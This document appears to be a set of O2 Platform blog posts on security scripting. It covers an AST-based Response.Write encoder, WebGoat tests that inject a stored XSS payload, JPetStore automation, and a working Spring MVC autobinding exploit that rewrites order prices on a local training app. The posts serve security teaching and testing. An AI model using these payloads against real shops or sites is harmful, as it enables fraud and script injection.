39 O2 Platform videos with 12k YouTube views
After uploading the O2 Installer video, I took at look at the O2 related videos stats and was amazed to see that there were 20 subscribers with about 12,000 views of O2 related videos 🙂
Looking at the list of those videos, there are some really good gems in there, so for reference here they are:
- O2 Script to Download List of YouTube Videos – Apr 12
- O2 Platform v4.0 Installer and quick tour of its scripting tools – Apr 12
- O2 Demo – Auto patching of Asp.NET response.Write.avi – Nov 11
- A developer’s rant about security professional – Oct 11
- Writing an O2 ‘IE Automation’ Script for JPetStore Account Creation – Jul 11
- Using O2 to view ESAPI’s call-flow graphs – Jul 11
- JpetStore – View Spring MVC Controllers and CommandClasses – Jul 11
- JpetStore – Start Server and Make sure everything is working – Jul 11
- JpetStore – BlackBox Exploits – Jul 11
- Fixing a bug in an O2 Script – Jul 11
- Writing an O2 Script to login into Veracode – Jul 11
- O2 Platform – MediaWiki Page Editor – Viewing, Editing and Creating content – Oct 10
- O2 Platform – WebScarab – Custom O2.avi – Oct 10
- O2 Platform – Gui Automation PoC – Using Notepad.avi – Oct 10
- O2 Platform – Findings Viewer – IBM AppScan Source 7 0 – Oct 10
- O2 Platform – Tool – Using OpenPgp to Encrypt or Decrypt.h2.avi – Oct 10
- O2 Platform – UnitTest – Twitter_XSS_Vuln_in_ManageDomains.avi – Oct 10
- O2 Platform – Tool – Create Twitter Accounts.avi – Oct 10
- Tool – Find Physical Location via MAC Address (using Google’s APIs).h2.avi – Oct 10
- O2 Platform – View IBM AppScan 7.9 scan files – Aug 10
- O2 Video – Demo Script – HacmeBank Full PoC.avi – Jul 10
- WebGoat – First Example of O2’s WebGoat API .avi – Jun 10
- O2 Platform – Amazon S3 Browser.avi – Jun 10
- O2 Platform – DotNet – Convert VBNet into CSharp.avi – Jun 10
- O2 Platform – DotNet – Convert CSharp into VBNet.avi – Jun 10
- O2 Platform – XSS PoC builder.avi – Jun 10
- O2 Platform – Javascript Stats Viewer.avi – Jun 10
- O2 Platform – Javascript AST Viewer.avi – Jun 10
- HacmeBank – wizard to start server.avi – Jun 10
- HacmeBank – exploit’s execution gui.avi – Jun 10
- O2 Platform – Installing V1.0 Beta (22-June-2010).avi – Jun 10
- O2 Platform – Blogger API (post new blog entry) – May 10
- Using WatiN to create a GMail account – May 10
- O2 Script – API for BTOpenZone (Ask for credentials) – May 10
- O2 Script – API for BTOpenZone – May 10
- Using the O2 .NET Ast Engine – May 10
- Using O2 to Write a tweet.wmv – May 10
- Updating O2 XRules Database.wmv – May 10
- O2 Tool OzasmtQuery – Editing data – Feb 09
- O2 Tool OzasmtQuery – Viewing Data – Feb 09
If you want to see how I created this list, take a look at the first video or at O2 Script to get YouTube videos list
O2 as an education tool: beware of spoofed emails
My daughter just got an email address and while teaching the whole “don’t answer to emails from people who you don’t know” story she replied that she would make sure the ‘from’ address come from somebody she knew.
Well … I said … not always…. 🙂
And nothing better to prove the point than sending her an email from a very unlikely source 🙂
Screenshot from: O2 script to Send Spoofed Emails (using direct SMTP connections)
Fixing/Encoding .NET code in real time (in this case Response.Write)
Here is a example of what we should be doing on Dev’s environments in order to make security invisible/automatic to them.
This script will automatically add an Encoding function to Response.Write so that it is always encoded. In this case the patch is done in real time, but it could also be done behind the scenes or on code check in (note that if you are a developer there is no way to avoid it, since the code patch happens automatically).
The script is called “Fixing Response.Write.h2” and here is a video of it in action:
This is how it works:
1) when the script executes you will have two code windows: on the left is the original code, on the right is the patched code (initially they both look the same)
2) make a change on the left window (look in line 21 on the left and line 18 on the right) and note that both windows code is syncronized
3) Unless you type Response.Write, nothing major happens to the code. Note how the Response.End() we just wrote was not changed (line 21 on left, line 18 on right), but on the previous line, the Response.Write was protected with a call to AntiXss.HtmlEncode (line 20 on left and line 17 on on right):
4) Now type on line 20 the Response.Write command (maybe with an XSS payload) and see how it is automatically wrapped in AntiXss.HtmlEncode (it is pretty cool to do this in real time 🙂 )
How does this work?
This was done using O2’s .NET Static Analysis engine which provices easy access to the code’s structure and exposes a number of helper methods to create refactored code:
//panel.clear(); //var topPanel = panel; var topPanel = O2Gui.open<Panel>("Fixing Response.Write",1000,500); var controls = topPanel.add_1x1("Original Code", "Patched Code"); var originalCode = controls[0].add_SourceCodeEditor(); var patchedCode = controls[1].add_SourceCodeEditor();</pre> originalCode.eDocumentDataChanged+= (text)=> { if (text.valid()) { var csharpAst = text.csharpAst(); //show.info(csharpAst.CompilationUnit.iNodes<InvocationExpression>()); foreach(var invocationExpression in csharpAst.CompilationUnit.iNodes<InvocationExpression>()) { var memberReference = invocationExpression.TargetObject as MemberReferenceExpression; if (memberReference.notNull() && memberReference.MemberName == "Write") { var className = "AntiXss"; var methodName = "HtmlEncode"; var newMemberReference = new MemberReferenceExpression(new IdentifierExpression(className),methodName ); var newInvocationExpression = new InvocationExpression(newMemberReference); newInvocationExpression.Arguments.AddRange(invocationExpression.Arguments); invocationExpression.Arguments.Clear(); invocationExpression.Arguments.Add(newInvocationExpression ); } csharpAst.CompilationUnit.add_Using("Microsoft.Security.Application"); } var patchedCSharpCode = csharpAst.CompilationUnit.csharpCode(); patchedCSharpCode = @"//O2Ref:AntiXSSLibrary.dll".line() + patchedCSharpCode; // so that it compiles OK var patchedCSharpFile = patchedCSharpCode.saveWithExtension(".cs"); patchedCode.open(patchedCSharpFile); } }; var originalFile = @"Request.Write.cs".local(); originalCode.open(originalFile); //using ICSharpCode.NRefactory.Parser //using ICSharpCode.NRefactory.Ast //using ICSharpCode.NRefactory //using O2.API.AST.CSharp; //using O2.API.AST.ExtensionMethods; //using O2.API.AST.ExtensionMethods.CSharp; //O2Ref:O2_API_AST.dll
WebGoat – First Example of O2 WebGoat API
This script and video shows a first example of the API that will be developed under O2 that will automate WebGoat’s funcionality, Lessons and Exploits
The WebGoat scripts are included in the local O2 Scripts folder and can also be seen here
Video: WebGoat – First Example of O2’s WebGoat API
Source Code: unit tests from WebGoat_BlackBox_Exploits.cs
public string Open_Main_Page() { setup(); webGoat.openMainPage(); var pageHtml = ie.html(); Assert.That(pageHtml.contains("WebGoat"),"Could not find the word WebGoat in the default page"); if (ie.hasButton("Start WebGoat")) ie.button("Start WebGoat").flash().click(); return "ok"; } [Test] public string Exploit_Stage_1_Stored_XSS_OK() { return Exploit_Stage_1_Stored_XSS("address1"); } [Test] public string Exploit_Stage_1_Stored_XSS_Fail() { return Exploit_Stage_1_Stored_XSS("description"); } private string Exploit_Stage_1_Stored_XSS(string fieldToInsertPayload) { setup(); var payload = "<a href=\"\" onMouseOver=\"javascript:alert('xss')\">Over me to see xss</a>"; webGoat.openMainPage(); ie.link("Cross-Site Scripting (XSS)").flash().click(); ie.link("LAB: Cross Site Scripting").flash().click(); ie.link("Stage 1: Stored XSS").flash(); ie.field("password").flash().value("larry"); ie.button("Login").flash().click(); ie.selectLists()[1].options()[0].select().flash(); ie.button("ViewProfile").flash().click(); ie.button("EditProfile").flash().click(); ie.field(fieldToInsertPayload).value(payload).flash(); ie.button("UpdateProfile").flash().click(); Assert.That(ie.html().contains("onmouseover=\"javascript:alert('xss')\""), "Payload was not inserted into page"); return "ok"; } [Test] public string Stage_1_Stored_XSS_Restart_Lesson() { setup(); webGoat.openMainPage(); ie.link("Cross-Site Scripting (XSS)").flash().click(); ie.link("LAB: Cross Site Scripting").flash().click(); ie.link("Stage 1: Stored XSS").flash().click(); ie.link("Restart this Lesson").flash().click(); return "ok"; }
Using OpenPGP to Easily create temp PGP keys for secure file exchange
If you need to quickly create PGP keys that you can distribute for temporary use, take a look at the O2 Script ‘tool – using openpgp to encrypt and decrypt.h2’.
This is what the main GUI looks like:
Go to ‘Create or Edit Keys’ and click on ‘Create’ (this can take a couple seconds since OpenPgp needs to get enough entropy from the local system for key generation)
Now just go to the target folder and send the public key file to your receipient.
This Gui can also be used to encrypt text:
Decrypt text:
and Encrypt/Decypt files
Writing an O2 ‘IE Automation’ Script for JPetStore Account Creation
Here is a video and script of the interactive process of writing an O2 IE Automation Script for JPetStore.
This is is the original script as shown in the video:
panel.clear(); var ie = panel.add_IE().silent(true);</pre> //ie.open("http://localhost:8080/jpetstore"); //ie.link("Enter the Store").click(); ie.open("http://localhost:8080/jpetstore/shop/newAccount.do"); ie.field("account.username").value("a user"); ie.field("account.password").value("pwd"); ie.field("repeatedPassword").value("pwd"); ie.field("account.firstName").value("first"); ie.field("account.lastName").value("name"); ie.field("account.address1").value("1"); ie.field("account.phone").value("2"); ie.field("account.city").value("3"); ie.field("account.state").value("4"); ie.field("account.zip").value("5"); ie.field("account.country").value("6"); ie.field("account.email").value("7"); ie.button("Save Account Information").click(); //return ie.buttons(); //ie.inject_FirebugLite(); //return ie.links(); //O2File:WatiN_IE_ExtensionMethods.cs //using O2.XRules.Database.Utils.O2 //O2Ref:WatiN.Core.1x.dll
Which was then added to the API_JPetStore.cs as a couple createAccount(…) extension methods:
public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password) { return jPetStore.createAccount(username, password, username,10.randomLetters(),10.randomLetters(), 10.randomLetters(),10.randomLetters(),10.randomLetters(), 10.randomLetters(),10.randomLetters(),10.randomLetters()); } public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password , string firstName, string lastName, string address1, string phone, string city, string state, string zip, string country, string email) { jPetStore.open("/shop/newAccount.do"); var ie = jPetStore.ie; ie.field("account.username").value(username); ie.field("account.password").value(password); ie.field("repeatedPassword").value(password); ie.field("account.firstName").value(firstName); ie.field("account.lastName").value(lastName); ie.field("account.address1").value(address1); ie.field("account.phone").value(phone); ie.field("account.city").value(city); ie.field("account.state").value(state); ie.field("account.zip").value(zip); ie.field("account.country").value(country); ie.field("account.email").value(email); ie.button("Save Account Information").click(); return jPetStore; }
So that they can be easily consumed like this:
panel.clear(); var ie = panel.add_IE().silent(true);</pre> var jPetStore = new API_JPetStore(ie); jPetStore.createAccount("user12","pwd"); //create user jPetStore.logout(); // logout jPetStore.login("user12","pwd____"); //should fail (wrong password) jPetStore.login("user12","pwd"); //should work //O2File:API_JPetStore.cs //O2File:WatiN_IE_ExtensionMethods.cs //using O2.XRules.Database.Utils.O2 //O2Ref:WatiN.Core.1x.dll
Here is a screenshot of the user created with the script above (note the random values)
O2 Script: ‘Spring MVC Util – View Controllers’
This Script creates a view for the Spring MVC mapping objects created by the SpringMvcMappings_v2 API.
This is a very important script since it provides a very clear view of a Spring MVC application URLs, Controllers and CommandClass
The Command Class view can be quite spectacular since it is common to find massive AutoBinded POJOs (some even with recursion)
Here is a video showing this script in action:
Here is the code:
var topPanel = O2Gui.open&lt;Panel&gt;(&quot;Spring MVC Util - View Controllers&quot;,1000,400); //var topPanel = panel.clear().add_Panel();&lt;/pre&gt; &amp;nbsp; var baseDir = PublicDI.CurrentScript.directoryName(); var xmlFile = baseDir.pathCombine(@&quot;sourceCode\war\WEB-INF\petstore-servlet.xml&quot;); var mcvMappingsFile = &quot;{0}.mvcMappings.xml&quot;.format(xmlFile); var webAppClassFiles = baseDir.pathCombine(&quot;jPetStore.classes.zip.xml&quot;); var coreClassFiles = baseDir.pathCombine(&quot;jPetStore.classes.zip.xml&quot;); Func&lt;string,string,string&gt; resolveGetterReturnType = (methodName, returnType) =&gt; { &quot;in resolveGetterReturnType: {0} - {1}&quot;.debug(methodName, returnType); if (methodName ==&quot;getLineItems&quot;) return &quot;org.springframework.samples.jpetstore.domain.LineItem&quot;; return returnType; }; var mvcMappings = (mcvMappingsFile.fileExists()) ? mcvMappingsFile.load&lt;SpringMvcMappings&gt;() : xmlFile.springMvcMappings() .mapCommandClass_using_XRefs(webAppClassFiles); var xRefs = coreClassFiles.javaMetadata().map_JavaMetadata_XRefs(); var byCommandClass = mvcMappings.controllers_by_CommandClass(); var treeView = topPanel.add_TreeView_with_PropertyGrid(true).sort(); var codeViewer = topPanel.insert_Right().add_SourceCodeViewer(); Action&lt;string&gt; onClassSelected = (@class) =&gt; { if (xRefs.Classes_by_Signature.hasKey(@class)) codeViewer.open(xRefs.Classes_by_Signature[@class].file()); }; var _treeView = codeViewer.insert_Above().add_TreeView_For_CommandClasses_Visualization(xRefs, onClassSelected, resolveGetterReturnType); treeView.afterSelect&lt;String&gt;( (javaClass)=&gt;{ if (javaClass.valid() &amp;&amp; javaClass !=&quot;[no commandName]&quot;) { var file = &quot;{0}.java&quot;.format(javaClass.replace(&quot;.&quot;,&quot;\\&quot;)); _treeView.clear(); _treeView.add_Node(javaClass, javaClass,true); codeViewer.open(file); } else codeViewer.set_Text(&quot;&quot;); }); treeView.afterSelect&lt;SpringMvcController&gt;( (mvcController)=&gt;{ if (mvcController.FileName.valid()) codeViewer.open(mvcController.FileName); _treeView.clear(); if (mvcController.CommandClass.valid()) _treeView.add_Node(mvcController.CommandClass, mvcController.CommandClass,true); }); var byCommandClassNode = treeView.add_Node(&quot;by CommandClass&quot;); foreach(var mapping in byCommandClass) byCommandClassNode.add_Node(mapping.Key,mapping.Key) .add_Nodes(mapping.Value); var byJavaClassNode = treeView.add_Node(&quot;by JavaClass&quot;); foreach(var mapping in mvcMappings.controllers_by_JavaClass()) byJavaClassNode.add_Node(mapping.Key,mapping.Value); var byUrlNode = treeView.add_Node(&quot;by Url&quot;); foreach(var controller in mvcMappings.Controllers) byUrlNode.add_Node(controller.HttpRequestUrl,controller); treeView.focus(); return &quot;ok&quot;; //using O2.XRules.Database.Languages_and_Frameworks.J2EE //using O2.XRules.Database.APIs.IKVM //O2File:spring-servlet-2.0.xsd.cs //O2File:SpringMvcMappings_v2.0.cs //O2Ref:O2_Misc_Microsoft_MPL_Libs.dll
O2 Script for “Spring MVC JPetStore – Start Servers” (start/stop apache and hsqldb)
Part of the Spring MVC O2 demos, this script will:
- Create a Gui to allow easy start and stop of the JPetStore servers (web and db)
- Shows how to start an apache server and hsqldb directly (i.e. without using *.bat files)
- Provide links to the other jPetStore Spring MVC *.h2 scripts
Here is a video of this script in action:
This script is included in the jPetStore O2 Demo Pack which can be downloaded from here (includes JPetStore and Apache):
Here is the script:
var topPanel = O2Gui.open<Panel>("JPetStore - Start Servers",1000,400); //var topPanel = panel.clear().add_Panel(); Process hsqldbProcess = null; Process apacheProcess = null; var actionPanel = topPanel.insert_Above(20); topPanel.add_LogViewer(); var ie = topPanel.insert_Right().add_IE();</pre> //Processes.getProcessesCalled("java").stop(); var currentFolder = PublicDI.CurrentScript.directoryName(); Action startServers = ()=>{ "Starting Db and Web servers".debug(); // start db server (hsqldb) hsqldbProcess = Processes.startProcessAndRedirectIO("java", @"-classpath .\hsqldb.jar org.hsqldb.Server -database jpetstore", currentFolder.pathCombine("hsqldb"), PublicDI.log.info); //start web server (apache) var tomcatFolder = currentFolder.pathCombine("apache-tomcat-7.0.16"); var apacheBinDirectory = tomcatFolder.pathCombine("bin"); var apacheStartParameters = ("-Djava.util.logging.config.file=\"{0}\\conf\\logging.properties\" " + "-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager " + "-Djava.endorsed.dirs=\"{0}\\endorsed\" " + "-classpath \"{0}\\bin\\bootstrap.jar;{0}\\bin\\tomcat-juli.jar\" " + "-Dcatalina.base=\"{0}\" -Dcatalina.home=\"{0}\" " + "-Djava.io.tmpdir=\"{0}\\temp\" org.apache.catalina.startup.Bootstrap start" ).format(tomcatFolder) ; apacheProcess = Processes.startProcessAndRedirectIO("java", apacheStartParameters, currentFolder.pathCombine("hsqldb"), PublicDI.log.info); }; Action stopServers = ()=>{ "Stopping Db and Web servers".debug(); apacheProcess.stop(); hsqldbProcess.stop(); }; Action openJPetStore = ()=>{ ie.open("http://localhost:8080/jpetstore"); ie.link("Enter the Store").click(); ie.links().where((link)=> link.url().contains("FISH"))[0].click(); }; actionPanel.add_Link("Start Servers",0,0,()=>startServers()) .append_Link("Stop Servers",()=>stopServers()) .append_Link("Enter JPetStore and open a Page", ()=> openJPetStore()) .append_Link("JpetStore - BlackBox Exploits.h2" ,()=> "JpetStore - BlackBox Exploits.h2".local().executeH2Script() ) .append_Link("JPetStore - View Controllers.h2" ,()=> currentFolder.pathCombine("JPetStore - View Controllers.h2").executeH2Script() ); ; return "ok"; //using System.Diagnostics //O2File:WatiN_IE_ExtensionMethods.cs //using O2.XRules.Database.Utils.O2 //O2Ref:WatiN.Core.1x.dll
O2 Script with BlackBox exploits for Spring MVC AutoBinding vulnerabilities in JPetStore
This script ( that you can find on your local O2 Scripts folder at ‘C:\O2\O2Scripts_Database\_Scripts\_Sample_Vulnerabilities\jPetStore\JpetStore – BlackBox Exploits.h2’ ) shows a blackbox aninimation of a couple Spring MVC Autobinding vulnerabilities in the JPetStore application.
You can see a video of this script in action here:
Also see this blog post for more details: http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html (includes a link to a white paper in this topic published in 2008 (but still very relevant))
Here is the source code of the O2 Script that creates a PoC GUI and allows the controlled execution of 3 variations of the exploits:
var topPanel = "JPetStore 'AutoBinding Vulnerability' PoC".popupWindow(1000,700); //var topPanel = panel.clear().add_Panel(); var actionPanel = topPanel.insert_Above(40); var ie = topPanel.add_IE_with_NavigationBar().silent(true); var server = "http://127.0.0.1.:8080"; Action<string,string> login = (username, password) => { ie.open(server + "/jpetstore/shop/signonForm.do"); ie.field("username",username); ie.field("password",password); ie.buttons()[1].click(); }; Action loginPlaceAnOrderAndGoToCheckout = ()=>{ ie.open("http://127.0.0.1:8080/jpetstore"); ie.link("Enter the Store").click(); //login if needed var signOffLink = ie.links().where((link)=> link.url().contains("signonForm.do")).first(); if(signOffLink.notNull()) { signOffLink.click(); login("j2ee", "pwd1"); } ie.links().where((link)=> link.url().contains("FISH"))[0].click(); ie.link("FI-FW-01 ").flash().click(); ie.links().where((link)=> link.url().contains("addItemToCart"))[0].flash().click(); ie.links().where((link)=> link.url().contains("checkout.do"))[0].flash().click(); ie.links().where((link)=> link.url().contains("newOrder.do"))[0].flash().click(); }; Action scrollToTotal = ()=>{ var tdElement = ie.elements().elements("TD").toList().Where((element)=> element.innerHtml().notNull() && element.innerHtml().contains("Total:")).first(); tdElement.scrollIntoView(); tdElement.injectHtml_beforeEnd("<h2><p align=right>Look at the Total value from the table above (it should be 18.50)</p><h2>"); }; Action<string> exploit_Variation_1 = (payload) => { loginPlaceAnOrderAndGoToCheckout(); ie.buttons()[1].flash().click(); ie.open(server + "/jpetstore/shop/newOrder.do?_finish=true&" + payload); scrollToTotal(); }; Action<string> exploit_Variation_1_SetTotalPrice = (totalPrice) => { var payload = "&order.totalPrice={0}".format(totalPrice); exploit_Variation_1(payload); }; Action<string> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice = (totalPrice) => { var payload = "&order.totalPrice={0}&order.lineItems[0].unitPrice=12&order.lineItems[0].quantity=12".format(totalPrice); exploit_Variation_1(payload); }; Action<string> exploit_Variation_2 = (totalPrice) => { loginPlaceAnOrderAndGoToCheckout(); ie.field("order.billToFirstName").flash() .injectHtml_afterEnd("<br>Total Price:<input type=text name='order.totalPrice' value='{0}'/>".format(totalPrice)); ie.buttons()[1].flash().click(); ie.open("http://127.0.0.1.:8080/jpetstore/shop/newOrder.do?_finish=true"); scrollToTotal(); }; //ie.disableFlashing(); var desiredPrice = ""; actionPanel.add_Label("Desired Total Price:").top(4) .append_TextBox("").onTextChange((text) => desiredPrice = text).set_Text("1.99") .append_CheckBox("Disable flashing",(value)=> { if (value) ie.disableFlashing(); else ie.enableFlashing(); }) .append_Link("Normal Request", ()=> exploit_Variation_1("")).top(24).left(105) .append_Link("Exploit Variation #1 (set TotalPrice) ", ()=> exploit_Variation_1_SetTotalPrice(desiredPrice)) .append_Link("Exploit Variation #2 (set ItemPrice, Item Quantity and TotalPrice) ", ()=> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice(desiredPrice)) .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice)) .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice)) .append_Link("loginPlaceAnOrderAndGoToCheckout; ",()=> loginPlaceAnOrderAndGoToCheckout()); ie.open("http://127.0.0.1.:8080/jpetstore"); return "done"; //O2File:WatiN_IE_ExtensionMethods.cs //using O2.XRules.Database.Utils.O2 //O2Ref:WatiN.Core.1x.dll
O2Script: Not Optimized fuzz string generator
Here is a very non-optimized fuzz string generator (a value of 5 generates about 10Million items, and one of the bottlenecks is in the use of List<string> to hold the data)
var baseChars = new List<char>(); for(var letter = 'a' ; letter < 'z' ; letter++) baseChars.Add(letter); Func<List<char>,string, int, List<String>> generateStrings = null; generateStrings = (chars, prefix, depth) => { if (depth-- > 0) { var strings = new List<string>(); foreach(var @char in chars) strings.Add(prefix + @char); var newStrings = new List<string>(); foreach(var @string in strings) newStrings.AddRange(generateStrings(chars, @string, depth)); strings.AddRange(newStrings); return strings; } return new List<string>(); }; var fuzzStrings = generateStrings(baseChars, "", 4); return fuzzStrings.size();